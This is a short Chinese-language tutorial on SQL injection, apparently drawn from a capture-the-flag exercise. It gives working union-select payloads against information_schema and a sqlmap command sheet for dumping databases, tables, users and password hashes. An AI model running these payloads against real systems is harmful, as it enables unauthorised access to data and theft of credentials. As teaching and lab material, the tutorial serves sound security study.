目录
SQL注入的前提
- 判断是否具备注入条件
- 可控参数如id=1,能否影响页面的显示结果
- 输入SQL语句的时候,是否报错,能否通过报错,看到数据库回显的一些语句痕迹
- 尝试使输入的语句不报错,使得成功闭合语句
- 判断是什么类型的注入
- 语句能否被修改
- 是否能够成功执行
手动注入
首先判断是否存在注入,输入1回显,输入2回显,输入3,无回显
根据回显内容判断为整数型
开始爆字段id=1 order by 1,当id =1 order by 3,发现报错,得知表格只有两个字段
开始查询当前数据库,或者直接查询所有的数据库
id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
得到数据库,开始爆表名,两张表,一个为news,一个为flag,开始爆列名
列名也为flag,可以尝试查看flag的内容
【
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
】
sqlmap注入
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db